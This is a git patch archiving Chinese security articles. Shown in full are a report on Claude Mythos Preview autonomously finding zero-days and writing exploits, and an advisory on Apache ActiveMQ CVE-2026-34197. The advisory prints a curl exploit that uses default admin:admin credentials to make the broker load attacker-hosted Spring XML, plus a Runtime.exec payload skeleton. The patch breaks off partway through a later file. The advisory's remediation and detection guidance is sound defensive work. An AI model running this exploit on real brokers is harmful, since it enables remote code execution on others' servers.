From 1fd1efa0360c25417cd217a717bcfae94bacc127 Mon Sep 17 00:00:00 2001 From: test Date: Wed, 8 Apr 2026 05:47:21 +0000 Subject: [PATCH] =?UTF-8?q?=E8=BF=85=E9=A5=B6=E7=A7=91=E6=8A=80=20X2Modbus?= =?UTF-8?q?=E7=BD=91=E5=85=B3=20GetConfig=20=E4=BF=A1=E6=81=AF=E6=B3=84?= =?UTF-8?q?=E9=9C=B2=E6=BC=8F=E6=B4=9E=E3=80=81=E3=80=90=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E9=A2=84=E8=AD=A6=E3=80=91=E6=9B=B4=E6=96=B0iOS=2018.6?= =?UTF-8?q?=E4=B9=9F=E9=80=83=E4=B8=8D=E6=8E=89=20DarkSword=E5=86=85?= =?UTF-8?q?=E6=A0=B8=E6=BC=8F=E6=B4=9E=E5=88=A9=E7=94=A8=E3=80=81=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E5=A4=8D=E7=8E=B0=20|=20Ilevia=20EVE=20X1=20Server=20?= =?UTF-8?q?login.php=20=E5=AD=98=E5=9C=A8=E8=BA=AB=E4=BB=BD=E8=AE=A4?= =?UTF-8?q?=E8=AF=81=E7=BB=95=E8=BF=87=E6=BC=8F=E6=B4=9E=E3=80=81=E4=B8=80?= =?UTF-8?q?=E7=AF=87=E6=96=87=E6=95=99=E4=BC=9A=E4=BD=A0=E8=8B=A5=E4=BE=9D?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E5=A4=8D=E7=8E=B0=E3=80=81=E5=B0=8F=E7=99=BD?= =?UTF-8?q?=E5=85=A5=E9=97=A8=E7=BD=91=E5=AE=89=E8=AF=A5=E4=BB=8E=E5=93=AA?= =?UTF-8?q?=E4=B8=8B=E6=89=8B=EF=BC=9F=E5=90=83=E9=80=8F=E8=BF=99=E2=80=9C?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E4=B8=89=E5=89=91=E5=AE=A2=E2=80=9D=EF=BC=8C?= =?UTF-8?q?=E4=BD=A0=E7=9A=84=E5=AE=9E=E6=88=98=E4=B9=8B=E8=B7=AF=E5=B0=B1?= =?UTF-8?q?=E7=A8=B3=E4=BA=86=EF=BC=81=E3=80=81=E8=AD=A6=E6=83=95=EF=BC=81?= =?UTF-8?q?iPhone=E7=94=A8=E6=88=B7=E5=8D=B1=E9=99=A9=E5=8D=87=E7=BA=A7?= =?UTF-8?q?=EF=BC=81=E4=BF=84=E7=BD=97=E6=96=AFAPT=E7=BB=84=E7=BB=87TA446?= =?UTF-8?q?=E7=94=A8=E4=B8=8ADarkSword=E6=BC=8F=E6=B4=9E=E5=A5=97=E4=BB=B6?= =?UTF-8?q?=EF=BC=8C=E7=82=B9=E5=BC=80=E9=92=93=E9=B1=BC=E9=82=AE=E4=BB=B6?= =?UTF-8?q?=E7=9B=B4=E6=8E=A5=E8=A2=AB=E6=94=BB=E7=A0=B4=E3=80=81Apache=20?= =?UTF-8?q?ActiveMQ=20=E4=B8=AD=E7=9A=84=E8=BF=9C=E7=A8=8B=E4=BB=A3?= =?UTF-8?q?=E7=A0=81=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E=20(CVE-2026-34197?= =?UTF-8?q?)=E3=80=81CertiK=E6=8E=A8=E5=87=BAAI=20Auditor=EF=BC=9A?= =?UTF-8?q?=E5=85=BC=E9=A1=BE=E4=BD=8E=E8=AF=AF=E6=8A=A5=E4=B8=8E=E9=AB=98?= =?UTF-8?q?=E7=B2=BE=E5=87=86=EF=BC=8C=E5=AE=9E=E6=B5=8B=E9=94=81=E5=AE=9A?= =?UTF-8?q?88.6%=E7=9C=9F=E5=AE=9E=E6=BC=8F=E6=B4=9E=E3=80=81=E3=80=90?= =?UTF-8?q?=E6=88=90=E5=8A=9F=E5=A4=8D=E7=8E=B0=E3=80=91Node.js=20inspect?= =?UTF-8?q?=E8=B0=83=E8=AF=95=E8=BF=9C=E7=A8=8B=E5=91=BD=E4=BB=A4=E6=89=A7?= =?UTF-8?q?=E8=A1=8C=E3=80=814=E6=9C=88=E7=A4=BE=E5=8C=BA=E6=8A=95?= =?UTF-8?q?=E7=A8=BF=E6=B4=BB=E5=8A=A8=20|=20=E6=BC=8F=E6=B4=9E=E6=8C=96?= =?UTF-8?q?=E6=8E=98=E3=80=81AI=E6=8E=8C=E6=8F=A1=E9=9B=B6=E6=97=A5?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=EF=BC=9AClaude=20Mythos=20Preview=E5=BC=95?= =?UTF-8?q?=E9=A2=86=E7=BD=91=E7=BB=9C=E5=AE=89=E5=85=A8=E6=96=B0=E6=97=B6?= =?UTF-8?q?=E4=BB=A3=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 13 +- .../4月社区投稿活动 漏洞挖掘.md | 4 +- ...thos Preview引领网络安全新时代.md | 225 ++++++++ ...程代码执行漏洞 (CVE-2026-34197).md | 146 +++++ ...精准，实测锁定88.6%真实漏洞.md | 53 ++ ...Node.js inspect调试远程命令执行.md | 143 +++++ ...逃不掉 DarkSword内核漏洞利用.md | 79 +++ .../一篇文教会你若依漏洞复现.md | 540 ++++++++++++++++++ ...客”，你的实战之路就稳了！.md | 176 ++++++ ...ogin.php 存在身份认证绕过漏洞.md | 128 +++++ ...件，点开钓鱼邮件直接被攻破.md | 224 ++++++++ ...dbus网关 GetConfig 信息泄露漏洞.md | 50 ++ 12 files changed, 1778 insertions(+), 3 deletions(-) create mode 100644 doc/2026-04/AI掌握零日漏洞：Claude Mythos Preview引领网络安全新时代.md create mode 100644 doc/2026-04/Apache ActiveMQ 中的远程代码执行漏洞 (CVE-2026-34197).md create mode 100644 doc/2026-04/CertiK推出AI Auditor：兼顾低误报与高精准，实测锁定88.6%真实漏洞.md create mode 100644 doc/2026-04/【成功复现】Node.js inspect调试远程命令执行.md create mode 100644 doc/2026-04/【漏洞预警】更新iOS 18.6也逃不掉 DarkSword内核漏洞利用.md create mode 100644 doc/2026-04/一篇文教会你若依漏洞复现.md create mode 100644 doc/2026-04/小白入门网安该从哪下手？吃透这“漏洞三剑客”，你的实战之路就稳了！.md create mode 100644 doc/2026-04/漏洞复现 Ilevia EVE X1 Server login.php 存在身份认证绕过漏洞.md create mode 100644 doc/2026-04/警惕！iPhone用户危险升级！俄罗斯APT组织TA446用上DarkSword漏洞套件，点开钓鱼邮件直接被攻破.md create mode 100644 doc/2026-04/迅饶科技 X2Modbus网关 GetConfig 信息泄露漏洞.md diff --git a/data.json b/data.json index 39fc553e..fbd9b4da 100644 --- a/data.json +++ b/data.json @@ -19652,5 +19652,16 @@ "https://mp.weixin.qq.com/s/sCljuPajewd5FldFBBcGhw": "一次报复式 0day 漏洞披露背后的 MSRC 信任危机", "https://mp.weixin.qq.com/s/ld2uSh1yBMwhdKC30ZN60Q": "先知通用软件漏洞收集及奖励计划第十一期 正式开始！", "https://mp.weixin.qq.com/s/isveVZn78xSRDmjErKp9ug": "DudeSuite 漏洞播报 全网漏洞早知道【20260407】", - "https://mp.weixin.qq.com/s/b_udKvis2KisM6rDCQKx5Q": "嘶吼安全动态｜工信部NVDB平台发布风险提示：利用苹果iOS漏洞的攻击活动激增 黑客利用React2Shell发起自动化凭证窃取活动" + "https://mp.weixin.qq.com/s/b_udKvis2KisM6rDCQKx5Q": "嘶吼安全动态｜工信部NVDB平台发布风险提示：利用苹果iOS漏洞的攻击活动激增 黑客利用React2Shell发起自动化凭证窃取活动", + "https://mp.weixin.qq.com/s/b90IOr4CTSQn-LpF7kj3jA": "迅饶科技 X2Modbus网关 GetConfig 信息泄露漏洞", + "https://mp.weixin.qq.com/s/Xp9irB7ROI-Ae2xJOMExdw": "【漏洞预警】更新iOS 18.6也逃不掉 DarkSword内核漏洞利用", + "https://mp.weixin.qq.com/s/XXbG0AWawSWDyj70-qmG_w": "漏洞复现 | Ilevia EVE X1 Server login.php 存在身份认证绕过漏洞", + "https://mp.weixin.qq.com/s/z9hOwdefQptZV1KvpN5LPQ": "一篇文教会你若依漏洞复现", + "https://mp.weixin.qq.com/s/us76OZkure7Jzstz7j0M8A": "小白入门网安该从哪下手？吃透这“漏洞三剑客”，你的实战之路就稳了！", + "https://mp.weixin.qq.com/s/r82dxrr1n2Pts2_OTPWzzQ": "警惕！iPhone用户危险升级！俄罗斯APT组织TA446用上DarkSword漏洞套件，点开钓鱼邮件直接被攻破", + "https://mp.weixin.qq.com/s/8ERLbrc6SZoBWB6L3d-sJQ": "Apache ActiveMQ 中的远程代码执行漏洞 (CVE-2026-34197)", + "https://mp.weixin.qq.com/s/gDtYDprqKlMgJrE6kI0W1Q": "CertiK推出AI Auditor：兼顾低误报与高精准，实测锁定88.6%真实漏洞", + "https://mp.weixin.qq.com/s/yRMpcDabaiY0gbrak4nmTQ": "【成功复现】Node.js inspect调试远程命令执行", + "https://mp.weixin.qq.com/s/FGORx7M58alEdrG9ecvEsQ": "4月社区投稿活动 | 漏洞挖掘", + "https://mp.weixin.qq.com/s/G-dMuc1kdclitJX0ITQzBg": "AI掌握零日漏洞：Claude Mythos Preview引领网络安全新时代" } \ No newline at end of file diff --git a/doc/2026-04/4月社区投稿活动 漏洞挖掘.md b/doc/2026-04/4月社区投稿活动 漏洞挖掘.md index f82bb965..488944a2 100644 --- a/doc/2026-04/4月社区投稿活动 漏洞挖掘.md +++ b/doc/2026-04/4月社区投稿活动 漏洞挖掘.md @@ -1,6 +1,6 @@ # 4月社区投稿活动 | 漏洞挖掘 -zkaq-管理员 - zkaq-管理员 掌控安全EDU 2026-04-01 07:33 +原创 zkaq-管理员 + zkaq-管理员 掌控安全EDU 2026-04-08 04:52 # 2026 | 04 月社区投稿活动 ### 本期活动奖金池 diff --git a/doc/2026-04/AI掌握零日漏洞：Claude Mythos Preview引领网络安全新时代.md b/doc/2026-04/AI掌握零日漏洞：Claude Mythos Preview引领网络安全新时代.md new file mode 100644 index 00000000..7e2ecea2 --- /dev/null +++ b/doc/2026-04/AI掌握零日漏洞：Claude Mythos Preview引领网络安全新时代.md @@ -0,0 +1,225 @@ +# AI掌握零日漏洞：Claude Mythos Preview引领网络安全新时代 +原创 0xSec笔记本 + 0xSec笔记本 0xSec笔记本 2026-04-08 05:26 + +  + +#    📢 免责声明          + +本文所述技术仅用于合法授权的安全研究、教学演示及防御机制开发。作者及发布平台不承担因读者误用、滥用本内容所导致的任何法律责任。请严格遵守《中华人民共和国网络安全法》及相关法律法规。 + +# Claude Mythos Preview 的网络安全能力：一个里程碑式的技术突破 +> 一个AI模型，两周内发现的安全漏洞比人类安全专家一生还多。它能自主黑入每一个主流操作系统和浏览器。Anthropic决定：不对外发布。 + +## 背景：这份报告意味着什么？ + +2026年4月7日，AI公司Anthropic发布了一份技术报告，介绍其新模型 **Claude Mythos Preview** + 在网络安全领域的惊人表现。 + +与此同时，他们宣布启动 **Project Glasswing（玻璃翼计划）** +——一个联合科技巨头、专门用于网络防御的封闭计划。 + +原因只有一个：**这个模型太危险了，不能公开。** +> "鉴于AI进步的速度，这类能力扩散到未必会负责任部署它们的行为者手中，只是时间问题。对经济、公共安全和国家安全的后果将是严重的。" +> —— Newton Cheng，Anthropic 网络安全负责人 + + +🔗 官方公告：anthropic.com/glasswing + +🔗 技术报告：red.anthropic.com/2026/mythos-preview +## 它究竟能做什么？ +### 🔍 自主发现零日漏洞 + +**零日漏洞（Zero-Day）** +，指从未被任何人发现过的安全缺陷。找到一个，通常需要顶级安全专家数周乃至数月的努力。 + +![](https://mmbiz.qpic.cn/mmbiz_png/RPq1g3ib528gibJDXj03o5k4PjCFnZG9NZ9BKhtBjVw7JVDBBe1GP5f8jvkYpodWLoSyOm7v1lN4DEORJpJF50yVQ7nShPZJoUj565ibpyfl44/640?wx_fmt=png&from=appmsg "") + + +Mythos Preview 做到了： + +**① OpenBSD：27年前埋下的炸弹** + +OpenBSD 是以"安全著称"的操作系统，其维基百科首句话就是"一个注重安全的操作系统"。 + +Mythos Preview 在其 TCP 协议实现中，发现了一个潜伏 **27年** + 的漏洞。攻击者只需发送几个特殊数据包，即可远程让任意 OpenBSD 服务器崩溃。 + +**单次发现成本：不足50美元。** + +**② FFmpeg：16年无人察觉** + +FFmpeg 是全球几乎所有视频服务都依赖的媒体处理库，也是被人工和模糊测试审查最多的开源项目之一。 + +Mythos Preview 在其 H.264 解码器中，找到了一个因 16 位整数截断导致的越界写入漏洞——自 **2010年代码重构后** + 就存在，此前从未被任何工具或人工发现。 + +**③ 内存安全语言写的虚拟机也没能幸免** + +云计算的核心组件——虚拟机监控器（VMM）——即便使用 Rust 等内存安全语言编写，也因 unsafe + 代码块存在漏洞，被 Mythos Preview 找到了客户机→宿主机越界写入路径。 +### 💥 自主编写攻击利用代码 + +发现漏洞只是第一步。更震惊业界的是：**Mythos Preview 能自己写出可用的攻击代码（Exploit）。** + +
任务
上一代 Opus 4.6
Mythos Preview
Firefox JS引擎漏洞利用
成功 2次 / 数百次尝试
成功 181次
内核最高级别崩溃
各仅 1次
10个独立目标
自主完整利用链
近 0%
多个，含复杂链式攻击
+ +安全研究员 Nicholas Carlini 描述道： +> "我发现，过去几周内找到的漏洞数量，超过了我此前一生加起来的总和。" + + +**** +**案例：FreeBSD 远程获取 root 权限（CVE-2026-4747）** + +这是一个潜伏 **17年** + 的漏洞。Mythos Preview 在没有任何人工干预的情况下： +1. 1. 自主扫描数百个内核文件，定位漏洞 + +1. 2. 发现栈缓冲区溢出，且因缓冲区类型为 int32_t[32] + 而非 char[] +，编译器未插入任何保护措施 + +1. 3. 构造了一个**分拆在6个数据包中的20步 ROP 攻击链** + +1. 4. 最终将攻击者公钥写入 /root/.ssh/authorized_keys +，完全控制服务器 + +**全程无人工介入，费用不足50美元。** +### 🧱 链式攻击：把多个漏洞串成一把钥匙 + +现代系统有很多防御层。Mythos Preview 展示了一种此前只有顶级人类黑客才能完成的能力：**把多个单独看起来无害的漏洞，串联成完整的攻击路径。** + +**Linux内核提权案例一：单比特翻转获取root** +- • 利用 netfilter 内核模块的一个越界写入 + +- • 精准翻转相邻物理内存中页表项的"可写"标志位（1个bit） + +- • 将系统内置的 setuid-root 程序映射为可写，注入攻击代码 + +- • **费用不足1000美元，耗时半天** + +**Linux内核提权案例二：一个字节读取突破硬化内核** + +这是更复杂的案例，模型需要绕过 Linux 的 HARDENED_USERCOPY + 安全机制： +1. 1. 利用 AF_UNIX socket 的 use-after-free 漏洞，获得单字节内核内存读取能力 + +1. 2. 通过读取 CPU 的"白名单"内存区域，绕过安全检查，泄露内核地址随机化（KASLR） + +1. 3. 引入第二个独立漏洞（流量调度器 DRR 的 use-after-free） + +1. 4. 伪造内核内置的 root 凭证结构，调用 commit_creds() + 完成提权 + +**费用不足2000美元，耗时不足一天。** +## Project Glasswing：防守方的集结号 + +Anthropic 没有选择封存这个模型，而是发起了一场**有组织的防御反击** +。 +### 参与方 + +**12家核心合作伙伴：** + +Amazon Web Services · Apple · Broadcom · Cisco · CrowdStrike · Google · JPMorganChase · Linux Foundation · Microsoft · Nvidia · Palo Alto Networks · 及其他 + +![](https://mmbiz.qpic.cn/mmbiz_png/RPq1g3ib528jwBCiaialPkrpr4ICRnOJC9xOiapV8LpQvqcue5O4ZWibOkk98XRokFJHOlEAR6AG7Lz8Adg9SX2S8MdMt38ZFN3Aquc1suJxxOAQ/640?wx_fmt=png&from=appmsg "") + +另有 **40余个** + 负责关键基础设施的组织获得访问权限。 +### 资金投入 +- • **1亿美元** + 模型使用额度，供合作伙伴免费用于安全研究 + +- • **250万美元** + 捐赠给 Linux 基金会旗下的 Alpha-Omega 和 OpenSSF + +- • **150万美元** + 捐赠给 Apache 软件基金会 + +### 运作逻辑 +> "虽然AI增强网络攻击的风险是真实的，但也有理由乐观：让AI模型在坏人手中危险的那些能力，同样使它在发现和修复重要软件缺陷方面无可替代。" +> —— Anthropic，Project Glasswing 公告 + + +CrowdStrike 和 Palo Alto Networks 的加入尤其值得关注——这两家公司长期以自有 AI 安全能力为傲。它们的背书，等于公开承认：Mythos Preview 在捕获零日漏洞方面，已超越了业界所有其他工具。 +## 能力跃升从何而来？ + +Anthropic 明确指出：**Mythos Preview 的安全能力并非刻意训练的结果。** + +它是代码能力、推理能力和自主行动能力整体提升后的**自然涌现** +。同样的能力，让它既更擅长修补漏洞，也更擅长利用漏洞。 + +这也意味着：**随着模型整体能力的提升，这类能力还会继续增强。** +``` +能力演进时间线 +────────────────────────────────────── +2025年初   模型无法发现非平凡漏洞 +2025年末   模型可找到漏洞，但几乎无法利用 +           （Opus 4.6：Firefox 利用成功率约 1%） +2026年初   ██████████ 质变 +           （Mythos：Firefox 利用成功率提升近 100倍） +                      内核完整攻击链：数十个 +                      浏览器沙箱逃逸：多个主流浏览器 +────────────────────────────────────── +``` +## 给普通从业者的建议 + +报告对安全从业者提出了几点实操建议： + +**① 现在就开始用现有模型** + +Claude Opus 4.6 等公开可用的模型，已经能在几乎所有审查过的代码中发现高危漏洞。没有理由等待。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RPq1g3ib528gMDibjics5rG5tXniaXeAvxzKfml2icLibwrwxxNHibluXTJ8sXwhK1cxCxdL9mnSl9R6v7wRsdLPs39yUaRYw4zJ1N0NBd6yDsThpo/640?wx_fmt=png&from=appmsg "") + + +**② 缩短补丁部署周期** + +以往从漏洞公开到可用攻击代码，需要专业研究员数天至数周。现在，这个过程可以在几小时内完成、成本不足千元。 + +**补丁窗口正在消失。** + 自动更新、优先处理含CVE修复的依赖升级，必须成为标准流程。 + +**③ 重新审视"增加摩擦"型防御措施** + +那些靠让攻击者"觉得麻烦"来提供安全感的防御手段，面对能持续运行的AI攻击者，效果将大幅下降。 + +**④ 用AI加速防御侧的全流程** + +漏洞报告分类、去重、补丁草案生成、代码审查辅助、遗留系统迁移……这些环节都应该引入模型。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RPq1g3ib528iazgh0gHVMJ6gfj5gP3VCWV3rYOadekXfBKDb9wFPJCwciajwoPYI4EBsWzt8WEA8PGuIUV0XZJLXbic1zAk67uBrwfe7pl1eExY/640?wx_fmt=png&from=appmsg "") + +## 更大的图景 +> "我们现在正处于自 2000 年代互联网转型以来最稳定安全平衡的尾声。语言模型能够大规模自动识别并利用安全漏洞，可能颠覆这一脆弱的平衡。" +> —— Anthropic 技术报告 + + +Anthropic 相信，从长远来看，AI 将使防御方获得更大优势——更多漏洞将在被利用前被发现和修复。 + +但**过渡期将会动荡。** + +现在，有组织、有资源的防御方需要抢在攻击者之前行动。Project Glasswing 是这场竞赛的发令枪。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/RPq1g3ib528j9AV5SALStHBviatuias1JHdJsc1nATSVP7tNy6F1ymJqSAAMuibr61Bib0lAdmL3Lkpg0hXqpCmlzD1PuUX0Bbt0aj1a2mL3rM6w/640?wx_fmt=jpeg "") + +## 相关链接 +- • 📄 Anthropic 官方公告：Project Glasswing + +- • 🔬 技术报告原文（red.anthropic.com） + +- • 📰 Fortune 报道 + +- • 📰 TechCrunch 报道 + +- • 📰 VentureBeat 深度分析 + +- • 📰 CNBC 报道 + +- • 🧑‍💻 Simon Willison 技术评析 + +本文整理自 Anthropic 官方技术报告及多家媒体报道，发布于 2026年4月8日。 + +  + + diff --git a/doc/2026-04/Apache ActiveMQ 中的远程代码执行漏洞 (CVE-2026-34197).md b/doc/2026-04/Apache ActiveMQ 中的远程代码执行漏洞 (CVE-2026-34197).md new file mode 100644 index 00000000..c0d2c34c --- /dev/null +++ b/doc/2026-04/Apache ActiveMQ 中的远程代码执行漏洞 (CVE-2026-34197).md @@ -0,0 +1,146 @@ +# Apache ActiveMQ 中的远程代码执行漏洞 (CVE-2026-34197) + Ots安全 2026-04-08 04:50 + +**威胁简报** + + +**恶意软件** + + +**漏洞攻击** + +概括 + +CVE-2026-34197 是 Apache ActiveMQ Classic 中的一个远程代码执行漏洞，该漏洞已存在 13 年之久。攻击者可以通过 ActiveMQ 的 Jolokia API 调用管理操作，诱使代理服务器获取远程配置文件并执行任意操作系统命令。 + +该漏洞需要凭据，但默认凭据admin:admin在许多环境中都很常见。在某些版本（6.0.0–6.1.1）中，由于另一个漏洞 CVE-2024-32114，完全不需要凭据。该漏洞会在未经身份验证的情况下无意中暴露 Jolokia API。在这些版本中，CVE-2026-34197 实际上是一个未经身份验证的远程代码执行 (RCE) 漏洞。 + +我们建议运行 ActiveMQ 的组织高度重视此问题，因为 ActiveMQ 一直是现实世界攻击者的反复目标，其漏洞利用和后利用方法已广为人知。CVE-2016-3088（影响 Web 控制台的已认证远程代码执行漏洞）和 CVE-2023-46604（影响代理端口的未认证远程代码执行漏洞）均已列入 CISA 的关键漏洞报告 (KEV) 列表。 + +ActiveMQ 版本 6.2.3 和 5.19.4 已修复此漏洞。 + +背景 + +Apache ActiveMQ 是一个开源的 Java 消息代理，于 2004 年首次发布。它是一种中间件，用于解耦服务并管理分布式系统中的消息队列。它被广泛部署在众多企业中，涵盖金融服务、医疗保健、政府和电子商务等领域。 + +ActiveMQ 有两种版本：ActiveMQ Classic（最初的代理）和 ActiveMQ Artemis（较新的实现）。此漏洞仅影响 Classic 版本。 + +Classic 代理自带一个基于 Web 的管理控制台，运行在 8161 端口，由 Jetty Web 服务器提供支持。该控制台包含 Jolokia，这是一个 HTTP 到 JMX 的桥接器，它将代理管理操作以 REST API 的形式公开。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/zNsFJyIuL0HW7PCdHtweXg1pKGHSKSfeBzX5OACHTl5tNicdIUodeiabMU1tiaHt4AE3wcFVZ5wrNXDeOicwNPyWVnboIjOY7e0gHwEytNS3sYM/640?wx_fmt=webp&from=appmsg "") + +2023年，ThreatBook的研究人员报告了CVE-2022-41678漏洞，该漏洞表明，经过身份验证的攻击者可以FlightRecorder通过Jolokia等工具调用JDK MBean，从而将Webshell写入磁盘。针对此漏洞的修复方案默认将Jolokia限制为只读操作，并禁止访问危险的MBean，但允许对ActiveMQ自身的MBean执行所有操作，以确保Web控制台能够继续正常工作。 + +``` +      org.apache.activemq:*    *    *   +``` + + +CVE-2026-34197 通过利用 ActiveMQ MBean 本身来绕过该修复。 + +漏洞 + +允许操作*意味着可以通过 Jolokia 调用对每个 ActiveMQ MBean 的所有操作。结果发现，其中一项操作（addNetworkConnector(String) 针对代理 MBean）存在代码执行路径。 + +ActiveMQ 支持将多个代理连接成网络，以实现负载均衡和高可用性。addNetworkConnector它会在运行时建立这些代理之间的桥接。您只需提供一个发现 URI，它就会创建网络连接。 + +ActiveMQ 还支持一种称为 VM 传输（vm://）的技术，这是一种进程内传输，旨在将代理嵌入到应用程序内部。客户端和代理不再通过 TCP 连接，而是通过同一 JVM 内的方法调用进行通信。这项技术最初是为了提高单元测试的效率而引入的，适用于轻量级嵌入式应用场景。 + +当vm://URI 引用不存在的代理时，ActiveMQ 默认会动态创建一个代理，并且它会接受一个brokerConfig参数来告诉它从哪里加载配置，包括攻击者控制的远程 URL。 + +攻击者可以通过精心构造的 URI 调用addNetworkConnectorJolokia，并将这些机制串联起来，强制代理获取并执行远程 Spring XML 配置文件： + +``` +curl -s -X POST http://TARGET:8161/api/jolokia/ \  -H "Content-Type: application/json" \  -H "Origin: http://TARGET:8161" \  -u admin:admin \  -d '{    "type": "exec",    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",    "operation": "addNetworkConnector",    "arguments": ["static:(vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml)"]  }' +``` + + +传输vm://层检测到不存在的代理名称，因此BrokerFactory.createBroker() 使用攻击者控制的URL 进行调用。该xbean:http://..方案xbean:指示 ActiveMQ 将其视为 Spring XML 配置，并将其传递给 Spring 的实现ResourceXmlApplicationContext。这将实例化所有 bean 定义，从而导致远程代码执行。 + +例如，下面的有效负载 XML 使用 SpringMethodInvokingFactoryBean来调用Runtime.getRuntime().exec() 以执行任意命令。 + +``` +                                        /bin/bash        -c        COMMAND_HERE           +``` + + +这与 CVE-2023-46604 中使用的接收器类型相同，后者也是通过强制 ActiveMQ 加载远程 Spring XML 配置文件来实现 RCE 的。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/zNsFJyIuL0GJyUdmTjLPLXByhUia1YhDibZwRdseBM2RgpGaBRAzGzh3ZBurFX2A4JJR3mOS3PKUv9tORKmdvNATa06nuB9VtnibYPwGKXW0og/640?wx_fmt=webp&from=appmsg "") + +某些版本未经身份验证 (CVE-2024-32114) + +上述漏洞利用需要对 Jolokia 端点进行身份验证，但在某些版本的 ActiveMQ 中，根本不需要任何凭据。 + +CVE-2024-32114 是 ActiveMQ 6.x 中的一个独立漏洞，该漏洞导致/api/* 包含 Jolokia 端点的路径被意外地从 Web 控制台的安全约束中移除。这意味着在 ActiveMQ 6.0.0 到 6.1.1 版本中，Jolokia 将完全未经身份验证。 + +在这些版本中，CVE-2026-34197 允许未经身份验证的远程代码执行。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/zNsFJyIuL0Em3mkymhWtia9ouOzyPGpOZoJvibs7NfBrEEjs0BoCYsib2H4iaUAFiakLPDAtmtqqNDvG6AibR2u6iaRiakkWyDe8xNwBemicS5vHicwyY/640?wx_fmt=other&from=appmsg "") + +补救措施 + +该漏洞已在 ActiveMQ Classic 版本 5.19.4 和 6.2.3 中修复。该补丁移除了addNetworkConnector添加vm:// 传输方式的操作，因为此操作原本就不应该作为远程操作公开。我们建议您更新到最新版本，并确保未使用任何默认凭据。 + +检测 + +漏洞利用会在 ActiveMQ 代理日志中留下清晰的痕迹。请查找引用带有vm:// 特定 URI 的网络连接器活动brokerConfig=xbean:http。这并非代理正常运行期间会发生的情况： + +``` +INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] startedINFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xmlWARN | Could notconnectto remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml: The configuration has no BrokerService instanceforresource: xbean:http://X.X.X.X:8888/payload.xml...INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] stopped +``` + + +通常情况下，代理服务器会多次重复这些连接尝试，然后网络连接器才会停止工作。请注意，命令执行发生在连接尝试期间——WARN配置失败的消息是在有效负载运行完毕后才出现的。 + +其他需要关注的指标： +- POST 请求/api/jolokia/ 包含addNetworkConnector在请求体中 + +- ActiveMQ 代理进程向意外主机发出的出站 HTTP 请求。 + +- ActiveMQ Java 进程意外地生成了子进程。 + +发现 + +现在我总是用 Claude 对源代码进行初步的漏洞挖掘。我会简单地提示它一些信息，并在网络上设置一个目标来验证发现的结果。很多时候，Claude 能发现一些有趣的东西，但这些发现还不足以构成我会费心报告的 CVE 漏洞。但这次，它表现出色，仅仅需要几个基本的提示。这其中 80% 是 Claude 的功劳，剩下的 20% 是人工的润色。 + +事后看来，这个漏洞显而易见，但你也能理解为什么多年来它一直被忽视。它涉及多个独立开发的组件：Jolokia、JMX、网络连接器和虚拟机传输。每个功能单独来看都能正常工作，但它们组合在一起却很危险。而这正是克劳德的过人之处——他思路清晰，不带任何预设，高效地将所有组件串联起来。我手动可能需要一周才能完成的工作，克劳德只用了十分钟就搞定了。 + +好消息是，像 Claude 这样的工具人人可用，我强烈建议应用安全工程师和开发人员充分利用它们。在过去六个月里，随着最新模型的推出，漏洞研究（尤其是发现低复杂度漏洞）的门槛已经降低了几个数量级，任何具备安全背景的人都可以从中受益。 + +举个例子，以下是我在很多项目中都会使用的一个简单的提示： + +``` +Analyze this code base for vulnerabilities that can be exploited by a userwithnoprior privileges.- Enumerate any endpoints accessibleto an unauthenticated, guest, or anonymous user.- Research prior commits andprior vulnerabilities to identify hot spots in the code.- Analyze the code, focusing on these vulnerability classes:    - RCE: command injection, deserialization, arbitrary file upload , code injection, SSTI    - Authentication Bypass: consider built-in auth, SAML, OAuth2, LDAP; password reset logic; session management; header spoofing; weak crypto, brute force protection, path/routing confusion    - Broken access control: missing authentication/authorization checks    - Arbitrary file read: Path traversal. If Windows is supported, pay special attention to Windows path handling    - SSRF: full-read and blind, consider redirect handling and DNS rebinding    - XXE    - SQLi: also consider second order SQLi    - Important misconfigurations: default creds, default secret keys, default guest access, weak file permissions, web server config; look at all deployment types including Docker- Calloutany notable bad code smells for further reviewIgnore the following vuln classes:- XSS- CSRF- Open Redirect- Any denial of service (DOS) +``` + + +时间线 + +2026年3月22日 Horizon3 报告了针对 Apache 的漏洞。 + +2026年3月26日 Apache ActiveMQ 团队已确认该报告并分配了 CVE 编号。 + +2026年3月30日 ActiveMQ Classic 版本 6.2.3 发布 + +2026年4月6日 Apache ActiveMQ 发布安全公告 + +2026年4月7日 CVE-2026-34197 已发布 + +2026年4月7日 这篇博文 + +**END** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/zNsFJyIuL0EoibjjakNlicNd7jQPLR2ibfRxT2lrprPUsDyCcAe96prQYoeleYxvnuDBZC7ovSdp2ccUyEFbiblpBZ4O8wsjlIcL0OoExvquo9w/640?wx_fmt=jpeg&from=appmsg "") + + +公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址 + +排版 编辑 | Ots 小安  + +采集 翻译 | Ots Ai牛马 + +公众号 |  +AnQuan7 (Ots安全) + diff --git a/doc/2026-04/CertiK推出AI Auditor：兼顾低误报与高精准，实测锁定88.6%真实漏洞.md b/doc/2026-04/CertiK推出AI Auditor：兼顾低误报与高精准，实测锁定88.6%真实漏洞.md new file mode 100644 index 00000000..72a1f4a8 --- /dev/null +++ b/doc/2026-04/CertiK推出AI Auditor：兼顾低误报与高精准，实测锁定88.6%真实漏洞.md @@ 